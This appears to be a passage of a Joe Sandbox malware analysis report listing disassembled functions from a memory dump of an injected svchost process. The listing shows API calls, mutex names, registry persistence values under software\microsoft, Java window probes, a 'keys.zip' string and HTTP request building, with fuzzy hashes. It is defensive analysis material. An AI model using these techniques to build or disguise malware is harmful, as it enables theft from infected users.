GetProcessHeap.KERNEL32(00000000,00000000,?,?,02C84480), ref: 02C938F0
HeapFree.KERNEL32(00000000,?,?,02C84480), ref: 02C938F3

Strings

ntdll.dll, xrefs: 02C9388E
RtlUniform, xrefs: 02C9389D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FileHandle$FreeValidate$AddressAllocateCloseCountCreateHeaderImageInformationModuleProcReadSizeTickWritememset
String ID: RtlUniform$ntdll.dll
API String ID: 1403775172-3277137149
Opcode ID: 64baa5fd28dc40ee032b274c01d001fef5a3462349e706ef4d6c3eb692cf10ee
Instruction ID: 0ccaee5bb5eef121bf02499105de3754658da8f2b413a91fad157d137fb16431
Opcode Fuzzy Hash: 64baa5fd28dc40ee032b274c01d001fef5a3462349e706ef4d6c3eb692cf10ee
Instruction Fuzzy Hash: 7311B631E842916FEB169BB5DC0DF9BBBACEF84751F0446A5F905D3280DB34D610CAA1

Function 02C8EAD0 Relevance: 17.5, APIs: 8, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

FindWindowW.USER32(SunAwtFrame,02CB83E0), ref: 02C8EAE1
FindWindowW.USER32(SunAwtFrame,02CB8418), ref: 02C8EAF1
FindWindowW.USER32(SunAwtFrame,02CB8448), ref: 02C8EB01
FindWindowW.USER32(SunAwtFrame,02CB8468), ref: 02C8EB11
FindWindowW.USER32(SunAwtDialog,02CB83E0), ref: 02C8EB21
FindWindowW.USER32(SunAwtDialog,02CB8418), ref: 02C8EB31
FindWindowW.USER32(SunAwtDialog,02CB8448), ref: 02C8EB41
FindWindowW.USER32(SunAwtDialog,02CB8468), ref: 02C8EB51

Strings

SunAwtFrame, xrefs: 02C8EADC, 02C8EAEC, 02C8EAFC, 02C8EB0C
SunAwtDialog, xrefs: 02C8EB1C, 02C8EB2C, 02C8EB3C, 02C8EB4C

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FindWindow
String ID: SunAwtDialog$SunAwtFrame
API String ID: 134000473-1757792087
Opcode ID: b201d23f41094976b1edccc0699267d55eb7bd535f81bef550611750ab442811
Instruction ID: 9fae9017ba22f8d1d135ea2ad7290c95713231852abeed899d7bb493b7186d8a
Opcode Fuzzy Hash: b201d23f41094976b1edccc0699267d55eb7bd535f81bef550611750ab442811
Instruction Fuzzy Hash: B1F00D257C532665762232692D32FEA0B8C5D91D8EF058271BA17A3008E6A095424CF9

Function 02C8A318 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}), ref: 02C8A32C
ReleaseMutex.KERNEL32(00000000), ref: 02C8A335
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8A349
CloseHandle.KERNEL32(00000000), ref: 02C8A35B
PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C8A366
Sleep.KERNEL32(00009C40,7f1bfc59,ALPHA), ref: 02C8A380
Sleep.KERNEL32(00000064), ref: 02C8A386

Strings

ALPHA, xrefs: 02C8A36C
7f1bfc59, xrefs: 02C8A361, 02C8A371
P0#v, xrefs: 02C8A335
Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}, xrefs: 02C8A320

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7f1bfc59$ALPHA$Local\{BE3C9D87-B91F-4e47-8B00-69798A04C732}$P0#v
API String ID: 4280258085-526467187
Opcode ID: 56509b74c6a8bd65782f25c8cdc6524378e1c8250c8e0cafd1e46b402914a402
Instruction ID: de14a1f6760cce9f69a8307fc09907b038dd5766c2de6a09dfb1e88f9bf87ab6
Opcode Fuzzy Hash: 56509b74c6a8bd65782f25c8cdc6524378e1c8250c8e0cafd1e46b402914a402
Instruction Fuzzy Hash: FCF0A7319C47906AF7237B619C0EB5A77DC7F89B19F008519F94A93180D7B4C5048B67

Function 02C918E8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C918FC
ReleaseMutex.KERNEL32(00000000), ref: 02C91905
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91919
CloseHandle.KERNEL32(00000000), ref: 02C9192B
PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C91936
Sleep.KERNEL32(00009C40,7F1BF8F3,RFK), ref: 02C91950
Sleep.KERNEL32(00000064), ref: 02C91956

Strings

P0#v, xrefs: 02C91905
RFK, xrefs: 02C9193C
Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C918F0
7F1BF8F3, xrefs: 02C91931, 02C91941

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7F1BF8F3$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RFK
API String ID: 4280258085-2405295479
Opcode ID: 59fd6f27f024c97c3d4b3c5c65fd53a019be3320f394cd28f30a889e5203a073
Instruction ID: 004c4aa86e14d2b73aa9941bbbb29204516ae7021b9d9f6747053e188e05d585
Opcode Fuzzy Hash: 59fd6f27f024c97c3d4b3c5c65fd53a019be3320f394cd28f30a889e5203a073
Instruction Fuzzy Hash: 14F082309C83926EF6225B619C2EF5E37DD6F45B09F098568F90AA2140D7F081158B67

Function 02C8E8A8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C8E8BC
ReleaseMutex.KERNEL32(00000000), ref: 02C8E8C5
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8E8D9
CloseHandle.KERNEL32(00000000), ref: 02C8E8EB
PathAddBackslashA.SHLWAPI(7f1bfde3), ref: 02C8E8F6
Sleep.KERNEL32(00009C40,7f1bfde3,HANDY), ref: 02C8E910
Sleep.KERNEL32(00000064), ref: 02C8E916

Strings

P0#v, xrefs: 02C8E8C5
HANDY, xrefs: 02C8E8FC
Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C8E8B0
7f1bfde3, xrefs: 02C8E8F1, 02C8E901

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
String ID: 7f1bfde3$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$P0#v
API String ID: 4280258085-2479272528
Opcode ID: deaa33791bc182a5584ac62cb4e4d078027aac3b219e4b57aba420f13a913a9e
Instruction ID: 50f4a4625df6a55b3e4d748a1960cbe6f7a8e024a5b950663cb031bbaddc7270
Opcode Fuzzy Hash: deaa33791bc182a5584ac62cb4e4d078027aac3b219e4b57aba420f13a913a9e
Instruction Fuzzy Hash: BEF082309C43516AF362AB608C0EB5E37DC6F49B0DF048554F906A2081DBB481108B6B

Function 02C7F0C0 Relevance: 16.6, APIs: 11, Instructions: 115memorynetworkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C7F114
GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02C7F12C
HeapValidate.KERNEL32(00000000), ref: 02C7F12F
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7F13C
HeapFree.KERNEL32(00000000), ref: 02C7F13F
InternetQueryOptionA.WININET(?,00000022,00000000,-02CBD804), ref: 02C7F15C
GetProcessHeap.KERNEL32(00000008,00000014), ref: 02C7F179
HeapAlloc.KERNEL32(00000000), ref: 02C7F180
memset.MSVCRT ref: 02C7F190
memset.MSVCRT ref: 02C7F1D5
memcpy.MSVCRT(?,00000000,?,?,00000000,?), ref: 02C7F1E9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Processmemset$AllocFreeInternetOptionQueryValidatememcpy
String ID:
API String ID: 3911349929-0
Opcode ID: 3b47ffc03df7bccae93ebc883bf1e46a15468ce7319b93bfc744b909056eae01
Instruction ID: 7350d4f0af38a8bac6b638da8aa0a5de28e76fc12fb81255f84488d85783ebeb
Opcode Fuzzy Hash: 3b47ffc03df7bccae93ebc883bf1e46a15468ce7319b93bfc744b909056eae01
Instruction Fuzzy Hash: C1418E72A40305AFDB21DFA8DC84F5AB7F8EF84710F008959E94697680DB71EA14CBE0

Function 02C7E2E0 Relevance: 16.5, APIs: 13, Instructions: 218memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,-0597B008,00000000,00000000,?,?,?,?), ref: 02C7E324
HeapAlloc.KERNEL32(00000000), ref: 02C7E32B
memset.MSVCRT ref: 02C7E33B
memcpy.MSVCRT(00000000,?,?,00000000,00000000,?), ref: 02C7E346
GetProcessHeap.KERNEL32(?,00000000,00000000,?,?,02CB36B4,?,02CB3DE4,-0597B008,00000000,00000000,?), ref: 02C7E40E
HeapValidate.KERNEL32(00000000), ref: 02C7E415
GetProcessHeap.KERNEL32(?,00000000), ref: 02C7E421
HeapFree.KERNEL32(00000000), ref: 02C7E428
memcpy.MSVCRT(?,00000000,?,?,?,?,?,02CB3DE4,-0597B008,00000000,00000000,?), ref: 02C7E44E
GetProcessHeap.KERNEL32(00000000,00000000,-0597B008,00000000,00000000,?,?,?,?), ref: 02C7E47A
HeapValidate.KERNEL32(00000000), ref: 02C7E47D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7E48A
HeapFree.KERNEL32(00000000), ref: 02C7E48D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidatememcpy$Allocmemset
String ID:
API String ID: 1948005343-0
Opcode ID: a40c66fdaf0112aab8bbe067be471c51554bc826174dd919857f03d9f0225b0f
Instruction ID: 81e6e9af924028ffee4f43b75ffaa7436fad0c47c8715583036e619129a02199
Opcode Fuzzy Hash: a40c66fdaf0112aab8bbe067be471c51554bc826174dd919857f03d9f0225b0f
Instruction Fuzzy Hash: 5261A673B002199BDB11DF99D884AAAB7A9FF88714F0486A5FD0997340D771EE11CBE0

Function 02C76B50 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C76B83
memset.MSVCRT ref: 02C76B9B
RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,?,?,?,?,?,?,7622F380), ref: 02C76BBC
RegQueryValueExA.ADVAPI32(?,00000104,00000000,00000001,?,00000104,?,?,?,?,?,7622F380), ref: 02C76BE2
GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,7622F380), ref: 02C76C6D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,7622F380), ref: 02C76C74
memset.MSVCRT ref: 02C76C83
RegCloseKey.ADVAPI32(?,?,?,?,?,?,7622F380), ref: 02C76CB3

Strings

software\microsoft, xrefs: 02C76BB0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$Heap$AllocCloseOpenProcessQueryValue
String ID: software\microsoft
API String ID: 4158279268-3673152959
Opcode ID: 90201f7ca9359d800aed87972a28eb2b708b985beff4ee246ce9ad195b8c8ef2
Instruction ID: f00bfaf2064b4f9c923215d3669394f2093518c029f08b413f135ced1ddba1f1
Opcode Fuzzy Hash: 90201f7ca9359d800aed87972a28eb2b708b985beff4ee246ce9ad195b8c8ef2
Instruction Fuzzy Hash: 77410571E4055DAFEB15DB749C88AEAB7ADEF98304F1045A8E549D7140E3708F498BA0

Function 02C76E70 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C76E92
memset.MSVCRT ref: 02C76EB0
RegOpenKeyExA.ADVAPI32(02C84ADF,software\microsoft,00000000,00000102,80000002,?,?,?,?,00000000,0000000A), ref: 02C76F4D
RegSetValueExA.ADVAPI32(80000002,80f5007ca,00000000,00000001,?,00000104,?,?,?,?,00000000,0000000A), ref: 02C76F6F
RegDeleteValueA.ADVAPI32(80000002,80f5007ca,?,?,?,?,00000000,0000000A), ref: 02C76F7C
RegFlushKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02C76F8A
RegCloseKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02C76F9F

Strings

software\microsoft, xrefs: 02C76F47
80f5007ca, xrefs: 02C76F6D, 02C76F7A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Valuememset$CloseDeleteFlushOpen
String ID: 80f5007ca$software\microsoft
API String ID: 3377232977-1722485806
Opcode ID: 9d76e9c25529614b7cb61f11b469bd952ee227bccdab77d5b8f0f35b43d2b7e0
Instruction ID: 3d5aa9a02ba86b7cd17a48e747e0ce21684cc2f9c1aa38b4cea9df250a4d612e
Opcode Fuzzy Hash: 9d76e9c25529614b7cb61f11b469bd952ee227bccdab77d5b8f0f35b43d2b7e0
Instruction Fuzzy Hash: 3C31F671A40298AFDB24DB64DC88FEE77BDEF55304F1046A8E586D7140D2B19E848B90

Function 02C90E10 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BF8F3), ref: 02C90E37
CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 02C90E77
GetLastError.KERNEL32(?,?), ref: 02C90E81
IsUserAnAdmin.SHELL32 ref: 02C90E89
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C90E9A
SetLastError.KERNEL32(00000000,?,?), ref: 02C90EA1
SetCurrentDirectoryA.KERNEL32(?,?,?), ref: 02C90EAE

Strings

7F1BF8F3, xrefs: 02C90E32, 02C90E3D
keys.zip, xrefs: 02C90EC9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: DirectoryErrorLastPath$AdminBackslashCreateCurrentFolderMakeSystemUser
String ID: 7F1BF8F3$keys.zip
API String ID: 4256651433-778259038
Opcode ID: 4f76909a773524a01a82abfe46ab60e592bd71a00c7721c696f8db1a2e800bef
Instruction ID: 606814422c2f5eaec286f51e3f7223c683517c8e062afb5d9dc1b2dbc34f0057
Opcode Fuzzy Hash: 4f76909a773524a01a82abfe46ab60e592bd71a00c7721c696f8db1a2e800bef
Instruction Fuzzy Hash: DF21F8759401D58FCB168B34A96CBE77BEDAF85301F1486D4E9C9CB200DB70C955CBA0

Function 02C823A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32 ref: 02C823A7
GetTickCount.KERNEL32 ref: 02C823B9
RegOpenKeyExA.ADVAPI32(user!226533!1CE3AAD1,software\microsoft,00000000,00000102,02C84A6F,?,02C84A6F), ref: 02C823D3
RegSetValueExA.ADVAPI32(02C84A6F,80F50315a,00000000,00000004,00000004,00000004,02C84A6F), ref: 02C823F0
RegFlushKey.ADVAPI32(?), ref: 02C823FA
RegCloseKey.ADVAPI32(?), ref: 02C82404

Strings

software\microsoft, xrefs: 02C823CD
user!226533!1CE3AAD1, xrefs: 02C823A6, 02C823D2
80F50315a, xrefs: 02C823EA

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AdminCloseCountFlushOpenTickUserValue
String ID: 80F50315a$user!226533!1CE3AAD1$software\microsoft
API String ID: 287100044-224011205
Opcode ID: 8f6cdfb92d119de1b8484a46a2feac68937d8403caffc9ce92df36176a82f031
Instruction ID: 3b1379d1164551cb229a6ca7f0a1ba3dadd87f54f5e1a5cc4ea733abf2b871cf
Opcode Fuzzy Hash: 8f6cdfb92d119de1b8484a46a2feac68937d8403caffc9ce92df36176a82f031
Instruction Fuzzy Hash: 60F03C79D80258FBE701DBA0AC4AF9A773CAF04601F104695FE06A3180D670AA159BA5

Function 02C7EB10 Relevance: 15.3, APIs: 7, Strings: 3, Instructions: 271COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,00000000), ref: 02C7EBEA
memcpy.MSVCRT(00000000,?,?,?,?,?,00001100,?,?,?,?,?,?,?,?,?), ref: 02C7EC9A
_snprintf.MSVCRT ref: 02C7ECB6
memcpy.MSVCRT(?,?,?), ref: 02C7ECC5
memcpy.MSVCRT(?,?,?,?,?,Content-Length,?), ref: 02C7ED1C
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?), ref: 02C7ED3D
memcpy.MSVCRT(?,?,?), ref: 02C7EDBF

Strings

0, xrefs: 02C7ECCA
Content-Length, xrefs: 02C7ED03
%x, xrefs: 02C7ECAE

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memcpy$_snprintf
String ID: 0$%x$Content-Length
API String ID: 4125937431-3838797520
Opcode ID: 33af21bc4f9b3d582628b9cae9a83cdf2460a5ddc0ce9f7ac8dce1af683e3ede
Instruction ID: 52476407a82d41700fb536315d3cc800fccaa62d03a276dfe78a9bb67cd9490d
Opcode Fuzzy Hash: 33af21bc4f9b3d582628b9cae9a83cdf2460a5ddc0ce9f7ac8dce1af683e3ede
Instruction Fuzzy Hash: 87916FB2600746AFC714DF68D88496AB7E9FF98314F048B69F82987644E770E914CBE1

Function 02C97B50 Relevance: 15.1, APIs: 10, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,75AF5CE0,?,02C82840,?), ref: 02C97B63
HeapAlloc.KERNEL32(00000000,?,02C82840,?), ref: 02C97B66
memset.MSVCRT ref: 02C97B7B
CreateFileA.KERNEL32(02C82840,40000000,00000003,00000000,00000002,00000080,00000000,?,02C82840,?), ref: 02C97BD2
GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97BF5
HeapValidate.KERNEL32(00000000,?,02C82840,?), ref: 02C97BF8
GetProcessHeap.KERNEL32(00000000,00000000,?,02C82840,?), ref: 02C97C04
HeapFree.KERNEL32(00000000,?,02C82840,?), ref: 02C97C07
GetProcessHeap.KERNEL32(00000008,00000010,?,02C82840,?), ref: 02C97C1A
HeapAlloc.KERNEL32(00000000,?,02C82840,?), ref: 02C97C1D

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CreateFileFreeValidatememset
String ID:
API String ID: 604365451-0
Opcode ID: f9ec8668f9f27af3536a84382f41d06f747a31da70293c8ab9c2a57ac8ed06ec
Instruction ID: a6b2414cb3c24528592f7f4772f15661689a7160a35fdfdeb1d03fa4dc6205d6
Opcode Fuzzy Hash: f9ec8668f9f27af3536a84382f41d06f747a31da70293c8ab9c2a57ac8ed06ec
Instruction Fuzzy Hash: E9315EF19467449FDB319F669C88B12FBE8FF84714F00892EE28A97641C370A544CBA1

Function 02C750D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110synchronizationCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75110
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7513C
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75163
GetLastError.KERNEL32 ref: 02C75184
WaitForSingleObject.KERNEL32(000002C4,000003E8), ref: 02C751B4
ReleaseMutex.KERNEL32(000002C4), ref: 02C751D5
SetLastError.KERNEL32(?), ref: 02C751EE

Strings

P0#v, xrefs: 02C751D5

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
String ID: P0#v
API String ID: 2971961948-3387790918
Opcode ID: 70f9fc3143bf534cca684f0e4e89fc85c5a61feea77cab146b802c1c70a26e28
Instruction ID: 624dc36d533c102a67ddf76a704838ae94d69d864442ab1e9e144c3c66c6519f
Opcode Fuzzy Hash: 70f9fc3143bf534cca684f0e4e89fc85c5a61feea77cab146b802c1c70a26e28
Instruction Fuzzy Hash: 8B41B975E40208EFDB40DFA9D884AEDBBF5FB88351F51456AE904E7200E774AA01CF90

Function 02C75200 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97synchronizationCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 02C75218
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75249
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C75275
VirtualQuery.KERNEL32(Function_00023910,?,0000001C), ref: 02C7529C
WaitForSingleObject.KERNEL32(000002C4,000003E8), ref: 02C752CD
ReleaseMutex.KERNEL32(000002C4), ref: 02C752EE
SetLastError.KERNEL32(?), ref: 02C752F8

Strings

P0#v, xrefs: 02C752EE

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
String ID: P0#v
API String ID: 2971961948-3387790918
Opcode ID: ce913c20827457bea48ee1bafbd5fd172c027c311be6c2699a490eb7730b090c
Instruction ID: 30c5bc5ae0f3d323f0229e5c14f4cc7f50c54d2b51a2aeee4670010bc99a5d1c
Opcode Fuzzy Hash: ce913c20827457bea48ee1bafbd5fd172c027c311be6c2699a490eb7730b090c
Instruction Fuzzy Hash: CB31B5B5E40258AFDB40DFE9D884ADDBBF9FB48310F50856AE918E7240E7749A11CF90

Function 02C806F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 95registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C80710
memset.MSVCRT ref: 02C8072E
RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,-80000001,?,?,?,?,?,?,0000001C,00000000), ref: 02C807CD
RegSetValueExA.ADVAPI32(-80000001,80F50209a,00000000,00000001,?,00000104,?,?,?,?,0000001C,00000000), ref: 02C807EF
RegFlushKey.ADVAPI32(-80000001,?,?,?,?,0000001C,00000000), ref: 02C807FD
RegCloseKey.ADVAPI32(-80000001,?,?,?,?,0000001C,00000000), ref: 02C80810

Strings

software\microsoft, xrefs: 02C807C7
80F50209a, xrefs: 02C807E9

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: memset$CloseFlushOpenValue
String ID: 80F50209a$software\microsoft
API String ID: 2470402893-520226336
Opcode ID: 3fc1bccc21e8b7fb971e5db50c4987e6af6c69b5ce80e0ac5938bc282a744586
Instruction ID: fcc44ad502bfe9a342a1e66f398fc18f980509a9af6c2acc1215a477518a3881
Opcode Fuzzy Hash: 3fc1bccc21e8b7fb971e5db50c4987e6af6c69b5ce80e0ac5938bc282a744586
Instruction Fuzzy Hash: BF31F870A04248AFEB15EB74DC88FEE77A9DF54708F1085A8E585D7141E6709EC98B90

Function 02C8AB20 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 92threadCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI(?,\private\), ref: 02C8AB49
CreateThread.KERNEL32(00000000,00000000,02C8AAF0,00000000,00000000,00000000), ref: 02C8AB96
StrStrIA.SHLWAPI(?,\public\), ref: 02C8ABAE
CreateThread.KERNEL32(00000000,00000000,02C8AAD0,00000000,00000000,00000000), ref: 02C8ABF2
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8AC0A
